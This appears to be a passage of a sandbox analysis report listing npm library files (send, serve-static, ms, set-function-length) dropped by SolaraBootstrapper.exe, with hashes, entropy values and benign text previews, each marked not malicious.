Preview:	0.18.0 / 2022-03-23.===================.. * Fix emitted 416 error missing headers property. * Limit the headers removed for 304 response. * deps: depd@2.0.0. - Replace internal `eval` usage with `Function` constructor. - Use instance methods on `process` to check for listeners. * deps: destroy@1.2.0. * deps: http-errors@2.0.0. - deps: depd@2.0.0. - deps: statuses@2.0.1. * deps: on-finished@2.4.1. * deps: statuses@2.0.1..0.17.2 / 2021-12-11.===================.. * pref: ignore empty http tokens. * deps: http-errors@1.8.1. - deps: inherits@2.0.4. - deps: toidentifier@1.0.1. - deps: setprototypeof@1.2.0. * deps: ms@2.1.3..0.17.1 / 2019-05-10.===================.. * Set stricter CSP header in redirect & error responses. * deps: range-parser@~1.2.1..0.17.0 / 2019-05-03.===================.. * deps: http-errors@~1.7.2. - Set constructor name when possible. - Use `toidentifier` module to make class names. - deps: depd@~1.1.2. - deps: setprototypeo

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1128
Entropy (8bit):	5.156120084449652
Encrypted:	false
SSDEEP:	24:aiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:aiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	5F1A8369A899B128AAA8A59D60D00B40
SHA1:	B8F341A3A86A825ED75E0DAD5B7CB0EF8EBBBC29
SHA-256:	25A328069FE771F8ED5B6F983ED4B0E6C84B3312AC0F69B28C3D52DC277962C9
SHA-512:	CCA39054E9B2CFE7B076D28F19A775AFE05EB0E7643C8AF827143E2F6A9EB59CC668D83DD1E73390908CB8037142B8086141292C6472821F48C9BECC4CAD02DF
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012 TJ Holowaychuk.Copyright (c) 2014-2022 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CON

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9476
Entropy (8bit):	4.909515762700429
Encrypted:	false
SSDEEP:	192:QsQv44A5+IKFLvZWg54FNlgd+0j6X+Ktw+Nja3DBs7RpF3BHYPy9BPGjNhEfy9:JQv44XFLvZWgsFW6XjtTjazBI13u59
MD5:	58D01CF4D34779852C06A3C5301A44F3
SHA1:	91C3546C7FEDE667861C951B826080D9EBDD8738
SHA-256:	08F465B588AF742601818744E54A68927A3F76C0AC831520C411C1C82334BA11
SHA-512:	36405A81AFEEDC6BFE52EF08B3B2187A56742F44C9809DBE91F155D9CED8500E134190802618A2C79FD0D3B0E69F518A7CE9C84B20C7E4432922426389D585A6
Malicious:	false
Preview:	# send..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Linux Build][github-actions-ci-image]][github-actions-ci-url].[![Windows Build][appveyor-image]][appveyor-url].[![Test Coverage][coveralls-image]][coveralls-url]..Send is a library for streaming files from the file system as a http response.supporting partial responses (Ranges), conditional-GET negotiation (If-Match,.If-Unmodified-Since, If-None-Match, If-Modified-Since), high test coverage,.and granular events which may be leveraged to take appropriate actions in your.application or framework...Looking to serve up entire folders mapped to URLs? Try [serve-static](https://www.npmjs.org/package/serve-static)...## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```bash.$ npm insta

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\SECURITY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	4.464334371428507
Encrypted:	false
SSDEEP:	24:11oSZ8gGzDRSKH+ZKWKKDF925a/7kJyEyF0eOCYunEfu7WR:1LS/RTjVha/7xPYun7WR
MD5:	B6061B0B7F151ABED066DC528DD952EF
SHA1:	FFB7B88D91CE00E18EB7496D5B30A38018069CAE
SHA-256:	9E6289FAF7A1BDB454335B2234D188C178C6FD932D1533326170ED62D157663E
SHA-512:	0F15221E6A4F6756314F5B6E92105DD2A28858BA479E60F511C6D05EFE5DDBD6E5E646CD47146042575E0DBB249E88F8D59DBCB10FA5004C4CA1E947C70E6B55
Malicious:	false
Preview:	# Security Policies and Procedures..## Reporting a Bug..The `send` team and community take all security bugs seriously. Thank you.for improving the security of Express. We appreciate your efforts and.responsible disclosure and will make every effort to acknowledge your.contributions...Report security bugs by emailing the current owner(s) of `send`. This information.can be found in the npm registry using the command `npm owner ls send`..If unsure or unable to get the information from the above, open an issue.in the [project issue tracker](https://github.com/pillarjs/send/issues).asking for the current contact information...To ensure the timely response to your report, please ensure that the entirety.of the report is contained within the email body and not solely behind a web.link or an attachment...At least one owner will acknowledge your email within 48 hours, and will send a.more detailed response within 48 hours indicating the next steps in handling.your report. After the initial rep

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	23502
Entropy (8bit):	4.883029861419584
Encrypted:	false
SSDEEP:	384:XxKaZnHXuj0j+Ax0HSD1iYojlJlJUDirWEbOqWaeOdz5Qq8m3ZeT9ejdhsb9nag6:oO3usrx0frN9b15AcjAUgVjmb
MD5:	638E22792701426DA6DCFE743A272762
SHA1:	DD7D90E571E262697A0914CE438CECE05EF6F9AF
SHA-256:	9196D51E83C8142B5CA56A4D9A0352DB4E6FE0A983D9AFEB40F8531FB80455A2
SHA-512:	0D232D3831144C806D4815EFC18A19DFC1BD33AE618E37FDBB6766B82DEC84B6ABEBF18548C302AAF452545553BFEC843AF853F7B2DAA33F62EB3893FFBDAF91
Malicious:	false
Preview:	/!. send. * Copyright(c) 2012 TJ Holowaychuk. * Copyright(c) 2014-2022 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var createError = require('http-errors').var debug = require('debug')('send').var deprecate = require('depd')('send').var destroy = require('destroy').var encodeUrl = require('encodeurl').var escapeHtml = require('escape-html').var etag = require('etag').var fresh = require('fresh').var fs = require('fs').var mime = require('mime').var ms = require('ms').var onFinished = require('on-finished').var parseRange = require('range-parser').var path = require('path').var statuses = require('statuses').var Stream = require('stream').var util = require('util')../. Path function references.. * @private. /..var extname = path.extname.var join = path.join.var normalize = path.normalize.var resolve = path.resolve.var sep = path.sep../. Regular expression for identifying a bytes Range header.. * @private. */..var

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\node_modules\ms\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	4.754385499254461
Encrypted:	false
SSDEEP:	48:OvI4pOT+wFLQtahYQlCrFWn5V4W55i8v1BeH321aEEg1JPjayheWy0DywdjyG1JC:OgNywFLQY2SChWn5V4W55F6XeaErOyX4
MD5:	83C46187ED7B1E33A178F4C531C4EA81
SHA1:	EA869663486F513CC4D1CA8312ED52A165C417FA
SHA-256:	E5F0B6A946A9B2B356A28557728410717DF54EA2F599EDB619F9839DF6B7B0E9
SHA-512:	51B45089A53A23C12E28EB889396E2FA71B95085BAA5AC34D71FFB625131BF2FEC3AE98EFEAE537656E20EA257F44E089BCEBC9AD54CF672CDE852102E43E153
Malicious:	false
Preview:	/*. Helpers.. /..var s = 1000;.var m = s 60;.var h = m * 60;.var d = h * 24;.var w = d * 7;.var y = d * 365.25;../*. Parse or format the given `val`.. . Options:. . - `long` verbose formatting [false]. . @param {String\|Number} val. * @param {Object} [options]. * @throws {Error} throw an error if val is not a non-empty string or a number. * @return {String\|Number}. * @api public. /..module.exports = function (val, options) {. options = options \|\| {};. var type = typeof val;. if (type === 'string' && val.length > 0) {. return parse(val);. } else if (type === 'number' && isFinite(val)) {. return options.long ? fmtLong(val) : fmtShort(val);. }. throw new Error(. 'val is not a non-empty string or a valid number. val=' +. JSON.stringify(val). );.};../. Parse the given `str` and return milliseconds.. . @param {String} str. * @return {Number}. * @api private. */..function parse(str) {. str = String(str);. if (str.length > 100) {. return;. }

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\node_modules\ms\license.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	5.100083983397303
Encrypted:	false
SSDEEP:	24:bRDrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:bRDaJHlxE3dQHOs5exm3ogFh
MD5:	2B8BC52AE6B7BA58E1629DEABD53986F
SHA1:	AC646EA4EC65CD1FEAC459A194A15A52D147BDCF
SHA-256:	1662FAE9B5314D11CF51284E2DCD1F006A354F7343F08712A730FCFF9A359801
SHA-512:	99536ECE73C2F788FA74C42BFABC044D3966812FFB9A9D30BB9183371999BB4067B26C1B36D40738444A37C341FD5B9B5E833C9D40884B99D39147E5A9E3F3DE
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2020 Vercel, Inc...Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\node_modules\ms\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	732
Entropy (8bit):	4.430071999887843
Encrypted:	false
SSDEEP:	12:7t1BLRJVkIMK/GCjxVMzaFT1oNkQc5s5RBR74J3YGqCVCYcCWhU9R:51BLR2UJFT1ou1s1R76YtCIY1WGR
MD5:	A682078F64A677DDAD1F50307A14B678
SHA1:	C290EB97736177176D071DA4AC855AB995685C97
SHA-256:	1A6B4D9739790C0B94AB96C8CC0507E281C164C311FF4FBF5E57FB8D26290B40
SHA-512:	9E16C5689B57275F4ED624C6954F12299706E2372A60F6173421800DA5EDF9ED52E52FD2B0798F826CDDBADE6CA19A6E6A996960C6697CC2DA0DDECB36409520
Malicious:	false
Preview:	{. "name": "ms",. "version": "2.1.3",. "description": "Tiny millisecond conversion utility",. "repository": "vercel/ms",. "main": "./index",. "files": [. "index.js". ],. "scripts": {. "precommit": "lint-staged",. "lint": "eslint lib/* bin/",. "test": "mocha tests.js". },. "eslintConfig": {. "extends": "eslint:recommended",. "env": {. "node": true,. "es6": true. }. },. "lint-staged": {. ".js": [. "npm run lint",. "prettier --single-quote --write",. "git add". ]. },. "license": "MIT",. "devDependencies": {. "eslint": "4.18.2",. "expect.js": "0.3.1",. "husky": "0.14.3",. "lint-staged": "5.0.0",. "mocha": "4.0.1",. "prettier": "2.0.5". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\node_modules\ms\readme.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1886
Entropy (8bit):	4.949803212299634
Encrypted:	false
SSDEEP:	24:TSBe9CsGdPXkjj6CWe6E1j89DkMlkxZ2oGULLZjlwpVHBbGP7vQV:mBegDojklOxI5UxjeJbGk
MD5:	1E31F4878F79731FEAE6D1BCC2F1CA7A
SHA1:	E5AF6580FACBF96AAC53741846D5845CA716FF97
SHA-256:	8BF6C4F414B123EA2A9375B91982882D01D8561CE7D12E3BB4F448C23359F040
SHA-512:	A59C23B8956ED13C415035F09B19EA03D4C9B6759EF71D042735871F46352F444287B0C3DD55F564DDE5D97CD765E4C1668D757387C0B5889C5858B10C26BF2D
Malicious:	false
Preview:	# ms..![CI](https://github.com/vercel/ms/workflows/CI/badge.svg)..Use this package to easily convert various time formats to milliseconds...## Examples..```js.ms('2 days') // 172800000.ms('1d') // 86400000.ms('10h') // 36000000.ms('2.5 hrs') // 9000000.ms('2h') // 7200000.ms('1m') // 60000.ms('5s') // 5000.ms('1y') // 31557600000.ms('100') // 100.ms('-3 days') // -259200000.ms('-1h') // -3600000.ms('-200') // -200.```..### Convert from Milliseconds..```js.ms(60000) // "1m".ms(2 * 60000) // "2m".ms(-3 * 60000) // "-3m".ms(ms('10 hours')) // "10h".```..### Time Format Written-Out..```js.ms(60000, { long: true }) // "1 minute".ms(2 * 60000, { long: true }) // "2 minutes".ms(-3 * 60000, { long: true }) // "-3 minutes".ms(ms('10 hours'), { long: true }) // "10 hours".```..## Features..- Works both in [Node.js](https://nodejs.org) and in the browser.- If a number is supplied to `ms`, a string

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1571
Entropy (8bit):	4.806645242071415
Encrypted:	false
SSDEEP:	48:DXFYV0VT+MPn2DRxYhNf3+dQuNCHRIzUnFbqye5:D19UMvvdyNInFbqye5
MD5:	331E9BE93662FD4127E84BEED1B3C82C
SHA1:	DC3C65D7EB895741FAEC3AA7419BE8B7ED7F3C5D
SHA-256:	B7DF451530D0B58EE3AED7F355D2AFDF04860F55C32D0D0BB1CEB65B85189B22
SHA-512:	A7C29AB6805A3AC585877CC236108E36FDA23937ECBA8C77BEB1078885C5467CBE3BAC968AA6F4571F59FFB7FD2911BFA5EF39ADC3FD727FF9F7BE50A6F5AFF0
Malicious:	false
Preview:	{. "name": "send",. "description": "Better streaming static file server with Range and conditional-GET support",. "version": "0.18.0",. "author": "TJ Holowaychuk <tj@vision-media.ca>",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "James Wyatt Cready <jcready@gmail.com>",. "Jes.s Legan.s Combarro <piranna@gmail.com>". ],. "license": "MIT",. "repository": "pillarjs/send",. "keywords": [. "static",. "file",. "server". ],. "dependencies": {. "debug": "2.6.9",. "depd": "2.0.0",. "destroy": "1.2.0",. "encodeurl": "~1.0.2",. "escape-html": "~1.0.3",. "etag": "~1.8.1",. "fresh": "0.5.2",. "http-errors": "2.0.0",. "mime": "1.6.0",. "ms": "2.1.3",. "on-finished": "2.4.1",. "range-parser": "~1.2.1",. "statuses": "2.0.1". },. "devDependencies": {. "after": "0.8.2",. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\serve-static\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10537
Entropy (8bit):	4.7665307771987315
Encrypted:	false
SSDEEP:	192:afmz/Bgt7ZlMa2xZ+vfj5Jxjt9E620KWdSDe3z6aLNm6/5ajOoHEi2J71D2ann7+:s9+xWTpZCW4ZF
MD5:	D460E9636FA12D04AB2439D2660C2DEE
SHA1:	730FD99A27A77117AEBCD298D0C0330068309ACF
SHA-256:	A93DBAA07121D81A3B20EF0430835751C7BB4EBEC598D7C5757CD918F2B51526
SHA-512:	211B5B18FC317CB2C2BAB7D26A581BD2D0056FBE25D838ED1DD6F7C7D32E01DB4969BA07CF50EB4425468430C1DDF9796304562530D044BF134B23DFED57AAFB
Malicious:	false
Preview:	1.15.0 / 2022-03-24.===================.. * deps: send@0.18.0. - Fix emitted 416 error missing headers property. - Limit the headers removed for 304 response. - deps: depd@2.0.0. - deps: destroy@1.2.0. - deps: http-errors@2.0.0. - deps: on-finished@2.4.1. - deps: statuses@2.0.1..1.14.2 / 2021-12-15.===================.. * deps: send@0.17.2. - deps: http-errors@1.8.1. - deps: ms@2.1.3. - pref: ignore empty http tokens..1.14.1 / 2019-05-10.===================.. * Set stricter CSP header in redirect response. * deps: send@0.17.1. - deps: range-parser@~1.2.1..1.14.0 / 2019-05-07.===================.. * deps: parseurl@~1.3.3. * deps: send@0.17.0. - deps: http-errors@~1.7.2. - deps: mime@1.6.0. - deps: ms@2.1.1. - deps: statuses@~1.5.0. - perf: remove redundant `path.normalize` call..1.13.2 / 2018-02-07.===================.. * Fix incorrect end tag in redirects. * deps: encodeurl@~1.0.2. - Fix encoding `%` as last character. * deps:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\serve-static\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1189
Entropy (8bit):	5.18664113055731
Encrypted:	false
SSDEEP:	24:PwiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:YiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	27B1707520B14D0BC890F4E75CD387B0
SHA1:	B64277842BAF8DC240F2DBD3BA92AD47295CD833
SHA-256:	63B9A188D7D43E64B0558B7115255045B9FE20A5FC3FF483421CB899E7F52BCB
SHA-512:	7046DEA66E03A5AA88A8C0658824EFD17E87FAB8F184CE2FD9AF9620961FD2E72EAC8DBD7D0FF70FAE99433D517B5CD927C1217E362620F1991629CAF1BD2C84
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2010 Sencha Inc..Copyright (c) 2011 LearnBoost.Copyright (c) 2011 TJ Holowaychuk.Copyright (c) 2014-2016 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.C

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\serve-static\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7812
Entropy (8bit):	4.900247938569799
Encrypted:	false
SSDEEP:	192:ClQe5+IIF2afJ9Cmy4FNhgd+jCW7n6OQZGSHa1XP:pFhfP1Ff7XQZ9a1/
MD5:	8EB080567B88684DCC6729DF62F472FB
SHA1:	080B006AF31ED97EA5B899A5CA5AB3DA10ED7BD2
SHA-256:	7C2479F5A6B23AE5C27A5383969788C19D2F3C36839F5691CF2C0CE27B54CD68
SHA-512:	532A28AA62FF1B98D3AD5BA6B5D85A8789BADB967E35F067235AA5B7C462DFA994245D7F68B895BF3FD02F0C5694A8E48E5F91A20E758ADC7CBE143786B75358
Malicious:	false
Preview:	# serve-static..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Linux Build][github-actions-ci-image]][github-actions-ci-url].[![Windows Build][appveyor-image]][appveyor-url].[![Test Coverage][coveralls-image]][coveralls-url]..## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install serve-static.```..## API..```js.var serveStatic = require('serve-static').```..### serveStatic(root, options)..Create a new middleware function to serve files from within a given root.directory. The file to serve will be determined by combining `req.url`.with the provided root directory. When a file is not found, instead of.sending a 404 response, this module will instead call `next()` to move on.to the next middleware, allowing for stacking and

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\serve-static\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	4570
Entropy (8bit):	4.814119702173696
Encrypted:	false
SSDEEP:	96:U5iiqzjxK4F4PTTMMatmWiuj8GvWbWc3THjefc4WoU:UrqzjxjFYwMaHQGvWicDjkc4WoU
MD5:	3707F8D6EE2C6D88FFAB23C0C4F1509B
SHA1:	1245000610229E2F79A8FFA95A40B08242371DB0
SHA-256:	768D6407E86BA974E7B8A0E79625E76A932B1F2503207C87F871FCF98BE21B1E
SHA-512:	CCB0EF9F4BEF48F16CFCF54322D306AB04920BD1339D3B667269BDA092E2B4CE5372ADD10A683AE9E2A7451DF168CEB494667FA2B50CE1DBC1FC468EAD6D715C
Malicious:	false
Preview:	/!. serve-static. * Copyright(c) 2010 Sencha Inc.. * Copyright(c) 2011 TJ Holowaychuk. * Copyright(c) 2014-2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var encodeUrl = require('encodeurl').var escapeHtml = require('escape-html').var parseUrl = require('parseurl').var resolve = require('path').resolve.var send = require('send').var url = require('url')../. Module exports.. * @public. /..module.exports = serveStatic.module.exports.mime = send.mime../. @param {string} root. * @param {object} [options]. * @return {function}. * @public. */..function serveStatic (root, options) {. if (!root) {. throw new TypeError('root path required'). }.. if (typeof root !== 'string') {. throw new TypeError('root path must be a string'). }.. // copy options object. var opts = Object.create(options \|\| null).. // fall-though. var fallthrough = opts.fallthrough !== false.. // default redirect. var redirect = opts.re

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\serve-static\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	4.774022472328274
Encrypted:	false
SSDEEP:	24:KI3rH1etPlI6RxFs/QRYuNCHRIZBlW2wfM9pjZKLl105P6u:KAxc9VRxFXYuNCHRIzU26M3jo703
MD5:	C72C82DF31AD86A65E2E48C33C03988B
SHA1:	EED66F41A584415A2BFDE1842522C4AFF72D98C5
SHA-256:	9A5793EE291365AA13C0DA4148F7150B5FAB012D03A6FBD8AC456463C745BD18
SHA-512:	BA67DA54A20C64BA131D878E54BA13C59FEB75B6F9FE3FA8318A98928A603FD14494D3127C917F2A3787C95C41DBA3B27281C772CDE5696777B518B3B53FEBF0
Malicious:	false
Preview:	{. "name": "serve-static",. "description": "Serve static files",. "version": "1.15.0",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "repository": "expressjs/serve-static",. "dependencies": {. "encodeurl": "~1.0.2",. "escape-html": "~1.0.3",. "parseurl": "~1.3.3",. "send": "0.18.0". },. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.2.2",. "nyc": "15.1.0",. "safe-buffer": "5.2.1",. "supertest": "6.2.2". },. "files": [. "LICENSE",. "HISTORY.md",. "index.js". ],. "engines": {. "node": ">= 0.8.0". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "nyc --reporter=lcov --reporter=text npm test",.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	404
Entropy (8bit):	4.641505932782478
Encrypted:	false
SSDEEP:	12:ErxN1nqqvn0uJSHqkjxN0nNzqqvgI/Z9IUsX:Erxfbv/S5iNbvgI/Z9IJ
MD5:	958819B0CFC4FDAB8D082765759902DE
SHA1:	968156D36F95DA6E5B9F535A394A7466DE632782
SHA-256:	015178C037E4DB81415AAB3D6ACD2A4EF66341EC500F900EECA61349802A3FB6
SHA-512:	59A9A196BC520703FADCD200BA3072EB2ACA951372F88AE6491C0126D54E093DAEEA95FEEF0B555256CE5914C583A28099484CAC4D73AA088F425A1C220F6174
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."id-length": "off",..."new-cap": ["error", {...."capIsNewExceptions": [....."GetIntrinsic"....],...}],..."no-extra-parens": "off",..},..."overrides": [...{...."files": ["test/*/.js"],...."rules": {....."id-length": "off",....."max-lines-per-function": "off",....."multiline-comment-style": "off",....."no-empty-function": "off",....},...},..],.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	563
Entropy (8bit):	4.602395768056389
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggM5azFlgM01bZBgMoGbQjgMy9gMLzgMT:qoQWAg0g+H0mgNFlg7g1GegJ9gEzgs
MD5:	999B44EFE89CCAA850EEBF94382A50F3
SHA1:	C1A2B9E96EE391DCB623AA0BFF1AD5A069614854
SHA-256:	BB2F341B76359BFE3F959FB2B1A922212CFDBA4EDB48D108EF848D8A39EC6BF1
SHA-512:	6C155B5D9AEAF5956C0000C2DE4145B62F72C10519AC5A2CD3031EDCA25383056A93685EC52CE4578759E6AC0A351099C9F41446171380504201A5C153A556B5
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/set-function-name.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with a single custom sponsorship URL.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\.nycrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.771900676344982
Encrypted:	false
SSDEEP:	6:Kw9OfyFdRaB9yq2TpR6S8U7XfUGUiMIOJHhBK:5O6FTaB9WTpR65U7cAMjJHe
MD5:	C2AB942102236F987048D0D84D73D960
SHA1:	95462172699187AC02EAEC6074024B26E6D71CFF
SHA-256:	948366FEA3B423A46366326D0BB2E54B08ABD1CF0B243678BA6625740C40DA5A
SHA-512:	E36B20C16CEEB090750F3865EFC8D7FD983AE4E8B41C30CC3865D2FD4925BF5902627E1F1ED46C0FF2453F076EF9DE34BE899EF57754B29CD158440071318479
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."lines": 86,.."statements": 85.93,.."functions": 82.43,.."branches": 76.06,.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	5.28162329209841
Encrypted:	false
SSDEEP:	96:E5yEpQIJNQP7jcYLgsQBfgvvkpRK1LJ7sQTF693HjrbLQn1IXFJidmxh:EgiQIJ6TjcYLgsQBo0pRK1LJ7sQTF69p
MD5:	6D4CBD4D65B24AA4BC8B68994E229941
SHA1:	54FE62232E30863C8949A3620BCCE460840C69B3
SHA-256:	0081798E43CB0864824314C375ECA40B031FA009F6ED27CF6F24E856D01FF759
SHA-512:	0D24E8AE3FAA357EC28A789EC6557075213DB37FD03D14675E4E796CD60BCA5CEE4C7DF7B69A617D6FB3D8DE3C964B62D9787687FC00374FD0D0A6F5ACBE9802
Malicious:	false
